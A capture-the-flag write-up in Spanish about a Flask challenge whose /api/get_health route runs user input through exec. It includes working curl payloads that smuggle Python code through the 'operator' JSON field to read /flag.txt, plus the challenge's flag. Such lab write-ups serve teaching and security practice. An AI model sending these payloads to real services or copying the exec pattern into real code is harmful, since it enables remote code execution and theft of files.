Evaluation Deck
2 minutos de lectura
Se nos proporciona la siguiente página web:
No obstante, la interfaz no es interesante…
Análisis de código estático
También disponemos del código fuente. La aplicación web está construida en Flask (Python). El siguiente archivo es application/blueprints/routes.py
:
from flask import Blueprint, render_template, request
from application.util import response
web = Blueprint('web', __name__)
api = Blueprint('api', __name__)
@web.route('/')
def index():
return render_template('index.html')
@api.route('/get_health', methods=['POST'])
def count():
if not request.is_json:
return response('Invalid JSON!'), 400
data = request.get_json()
current_health = data.get('current_health')
attack_power = data.get('attack_power')
operator = data.get('operator')
if not current_health or not attack_power or not operator:
return response('All fields are required!'), 400
result = {}
try:
code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec')
exec(code, result)
return response(result.get('result'))
except:
return response('Something Went Wrong!'), 500
La vulnerabilidad está en que, como atacantes, podemos ejecutar código Python arbitrario usando la función exec
en la ruta /api/get_health
. Solamente necesitamos encontrar un payload que haga que la string con el código sea sintaxis de Python válida. Por ejemplo:
$ python3 -q
>>> current_health = 1337
>>> operator = "; result = 'Run Python code here'; "
>>> attack_power = 0xACDC
>>> result = {}
>>> code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec')
>>> exec(code, result)
>>> result.get('result')
'Run Python code here'
Para interactuar con el servidor tenemos que usar formato JSON:
$ curl 178.62.85.130:32757/api/get_health -d '{"operator":"; result = \"Run Python code here\"; ","current_health":1,"attack_power":1}' -H 'Content-Type: application/json'
{"message":"Run Python code here"}
Flag
En lugar de mostrar un texto de prueba, podemos ejecutar código Python para leer el archivo /flag.txt
:
$ curl 178.62.85.130:32757/api/get_health -d '{"operator":"; result = open(\"/flag.txt\").read(); ","current_health":1,"attack_power":1}' -H 'Content-Type: application/json'
{"message":"HTB{c0d3_1nj3ct10ns_4r3_Gr3at!!}"}